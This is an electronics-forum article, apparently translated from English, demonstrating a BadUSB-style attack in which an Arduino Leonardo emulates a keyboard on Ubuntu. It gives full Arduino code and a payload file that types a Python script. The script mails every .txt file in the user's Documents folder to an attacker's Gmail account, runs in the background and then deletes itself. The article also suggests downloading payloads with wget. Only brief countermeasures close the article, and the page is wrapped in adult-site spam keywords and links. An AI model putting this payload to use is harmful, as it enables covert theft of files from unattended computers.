在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

Arduino鍵盤漏洞演示及解決辦法

454398 ? 來源:工程師吳畏 ? 2019-08-07 09:02 ? 次閱讀

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB讀卡器

3。SD

4。按鈕(VCC,地面和信號

5。跨接電纜

6。 micro USB轉USB電纜

步驟2:構建設備

之前構建指令讓我們回顧一下工作原理

Arduino leonardo可以像人機界面設備(HID)一樣運行,因此可以模擬鼠標和鍵盤。我們將使用此功能打開終端(在UBUNTU linux中)并編寫一個小腳本,該腳本將訪問用戶主文件夾中的/Documents文件夾復制.txt文件并將其通過電子郵件發送給某人。如果您想了解更多詳細信息,請查看下一步。

因為它是一個演示設備,所以事情非常簡單,我們不會焊接任何東西。

構建說明

1。組裝組件:

*插入arduino中的micro USB線

*將鑰匙開關連接到arduino(接地,vcc和out模塊)至D8)

*將讀卡器連接到arduino(使用ICSP標頭)。 Arduino leonardo沒有將ICSP接頭連接到數字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數字引腳10

2. 獲取arduino代碼 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。將代碼上傳到arduino ,請務必選擇9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您從上面克隆了github repo,復制卡上的hack.txt文件,如果不是,則下面列出了該文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘application’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下內容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替換為您的電子郵件地址

7。 取出卡并將其插入arduino讀卡器

步驟3:如何在細節中工作

攻擊如何工作:

1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡。卡上將顯示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。

該文件可以包含原始文本,它將按原樣傳遞給鍵盤。

它還可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放

您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..

2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤上的鍵。文件“hack.txt”包含執行以下操作的鍵組合(對于UBUNTU linux):

a。打開一個終端(CTRL + ALT + T)

b。使用vi打開一個用于創建的python文件(寫入“vi hack.py”

c。寫入一個python腳本,收集文檔主文件夾中的所有文本文件,并將它們發送到指定的gmail地址

d。在后臺運行文件(“nohup python hack.py&”)

e。刪除文件(rm -rf hack.py)

f。關閉終端(ALT + F4)

整個過程會在幾秒鐘內完成并且不會留下痕跡。

增強功能和故障排除

*你可能會注意到,在我打開一個終端后,我正在編寫python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py

*我們也可以為目標操作系統下載或運行現成的漏洞利用

* wifi可以添加到模塊中,黑客可以通過WIFI上傳

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代碼(使其更小)

限制

1。由于模擬設備(鍵盤和鼠標)沒有任何反饋,我們不知道發出命令后會發生什么,這意味著我們需要使用延遲。例如我發出一個打開終端的命令,但我不知道它什么時候會打開,所以我需要指定一個任意的延遲來確保輸入的字符不會丟失。

2。我們可能會遇到許可問題,例如無法訪問USB端口或安裝某些內容的權限

3。打字速度對leonardo而言并不是那么好

4。僅適用于目標操作系統(在我們的案例中為UBUNTU linux)

在下一步中將嘗試找到利用此限制的方法來防止我們的計算機被黑客入侵

第4步:對策

1。禁用USB端口

2。白名單USB設備:

3。不要以root身份登錄(需要密碼才能安裝任何東西)

4。讓自己保持最新(自動更新)

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 漏洞
    +關注

    關注

    0

    文章

    205

    瀏覽量

    15649
  • Arduino
    +關注

    關注

    189

    文章

    6494

    瀏覽量

    190340
收藏 人收藏

    評論

    相關推薦
    熱點推薦

    GPS北斗定位模塊問題及解決辦法

    GPS北斗定位模塊使用上大多需要配置和設置下的,因此出現應用方面的問題也是可以理解的。以下是常見的問題及其解決辦法: 一、搜不到信號 問題描述: 在家或個別位置無法接收到GPS或北斗定位模塊的信號
    的頭像 發表于 03-30 07:37 ?845次閱讀

    PLC異常工作的原因和解決辦法

    PLC(可編程邏輯控制器)異常工作的原因及解決辦法
    的頭像 發表于 02-24 17:27 ?939次閱讀

    Profinet IO通信故障原因及解決辦法

    通信故障時有發生,影響生產效率和系統穩定性。本文將深入探討Profinet IO通信故障的常見原因,并提出詳細的解決辦法,以幫助技術人員快速定位和解決問題。
    的頭像 發表于 02-03 14:50 ?1396次閱讀

    常見墊圈故障及解決辦法 防漏墊圈的設計與應用

    常見墊圈故障及解決辦法 1. 墊圈老化 故障現象: 墊圈因長時間使用而老化,失去彈性,導致密封性能下降。 解決辦法: 定期檢查墊圈的老化情況,及時更換新的墊圈。 2. 墊圈變形 故障現象: 由于安裝
    的頭像 發表于 12-12 15:31 ?1011次閱讀

    電力電纜的常見故障及解決辦法 電力電纜與通訊電纜的區別

    電力電纜的常見故障及解決辦法 電力電纜是電力系統的重要組成部分,負責將電能從發電站傳輸到用戶端。由于其長期暴露在戶外環境中,電力電纜可能會遇到各種故障。以下是一些常見的電力電纜故障及其解決辦法
    的頭像 發表于 12-12 15:11 ?1545次閱讀

    雷達探測器常見故障及解決辦法

    雷達探測器,特別是用于車輛泊車輔助的雷達系統,常見故障及其解決辦法可以歸納如下: 一、無報警提示故障 故障現象 : 在掛入倒擋或者按下雷達開關后,雷達系統毫無反應。 可能原因 : 倒車雷達系統工作
    的頭像 發表于 11-24 09:46 ?2708次閱讀

    RS232串口通信中常見問題及解決辦法

    RS232串口通信中常見問題及解決辦法主要包括以下幾個方面: 一、物理連接問題 問題 :串口線未插穩或接口松動。 解決辦法 :重新插拔串口線,確保連接牢固。同時檢查插頭和針腳是否損壞,如有損壞需更換
    的頭像 發表于 11-21 09:32 ?4433次閱讀

    PCBA板常見故障及解決辦法

    和使用過程中可能會出現各種故障,以下是一些常見的故障及其解決辦法: 1. 焊接不良 故障現象: 焊點不光滑、有空洞、焊料不足或過多、焊點開裂等。 解決辦法: 檢查焊接設備(如回流焊機)的溫度曲線是否正確。 確保焊膏和焊料的質量符合要求。 檢查焊接過程中是否有污染或氧化。
    的頭像 發表于 11-18 10:20 ?1667次閱讀

    溫控器常見故障及解決辦法

    溫控器是維持室內溫度舒適的必備設備。然而,像所有電子設備一樣,它們也可能出現故障。了解常見故障及其解決辦法可以幫助您快速解決問題,避免不必要的維修費用。 一、溫控器不工作 故障現象: 溫控器顯示正常
    的頭像 發表于 11-06 13:51 ?1.3w次閱讀

    電力電容器的常見故障及解決辦法

    電力電容器是電力系統中用于改善功率因數、減少無功損耗、提高電能質量的重要設備。它們在運行過程中可能會出現各種故障,以下是一些常見的故障及其解決辦法的介紹: 1. 電容器過熱 故障原因: 環境溫度
    的頭像 發表于 11-04 09:32 ?1468次閱讀

    常見MCU故障及解決辦法

    微控制器單元(MCU)是現代電子設備中的核心組件,負責處理和控制各種功能。然而,由于各種原因,MCU可能會出現故障。以下是一些常見的MCU故障及其解決辦法: 1. 電源問題 故障現象: MCU無法
    的頭像 發表于 11-01 13:41 ?6982次閱讀

    萬用表常見故障及解決辦法

    萬用表是一種常用的電子測量工具,它能夠測量電壓、電流、電阻等多種電氣參數。在使用過程中,萬用表可能會出現一些故障,以下是一些常見的故障及其解決辦法: 1. 無顯示或顯示異常 故障原因: 電池電量不足
    的頭像 發表于 11-01 10:23 ?6967次閱讀

    常見元器件故障及解決辦法

    在電子設備的日常使用和維護中,元器件的故障是不可避免的。了解常見元器件的故障類型及其解決辦法,對于快速定位問題并進行修復至關重要。 1. 電阻器故障 故障現象: 電阻值變化:電阻器老化或損壞導致其實
    的頭像 發表于 10-29 16:21 ?1874次閱讀

    海外大帶寬服務器連接失敗解決辦法

     海外大帶寬服務器連接失敗可能由多種原因引起,以下是一些常見的故障排除步驟和可能的解決方案。Rak小編為您整理發布海外大帶寬服務器連接失敗解決辦法
    的頭像 發表于 09-29 09:53 ?468次閱讀

    聚徽觸控 - 教學一體機常見故障及解決辦法

    教學一體機在使用過程中可能會遇到多種故障,以下是一些常見的故障及解決辦法
    的頭像 發表于 07-01 15:44 ?1427次閱讀
    主站蜘蛛池模板: 色天天网 | 99se亚洲综合色区 | 窝窝午夜看片 | 国产三级精品视频 | 天堂视频在线视频观看2018 | 在线黄网 | 爽爽爽爽爽爽a成人免费视频 | 午夜一区二区免费视频 | 狠狠色噜噜狠狠狠狠97 | 一级毛片一级毛片一级级毛片 | 国产三级黄色毛片 | 美人岛福利 | 亚洲一区二区影视 | 伊人精品网 | 乱人伦精品一区二区 | xx在线观看| 中文一区 | 国产午夜精品一区二区三区 | 午夜插 | 国产人人艹 | 国产成人永久免费视频 | 久月婷婷 | 久久夜色精品国产噜噜小说 | 男人的天堂欧美 | 国产啊v在线观看 | 91在线影视| 日韩视频高清 | 热九九精品 | 美女网站色黄 | 日本黄色大片免费观看 | 国产成人精品高清在线 | 亚洲国产精品综合久久久 | 午夜国产高清精品一区免费 | 亚洲电影一区二区三区 | 亚洲精品久久片久久 | 天天干夜夜操美女 | 久久精品国产2020观看福利色 | 中文字幕天天干 | 三级黄色录像 | 免费h视频在线观看 | 神马午夜嘿嘿嘿 |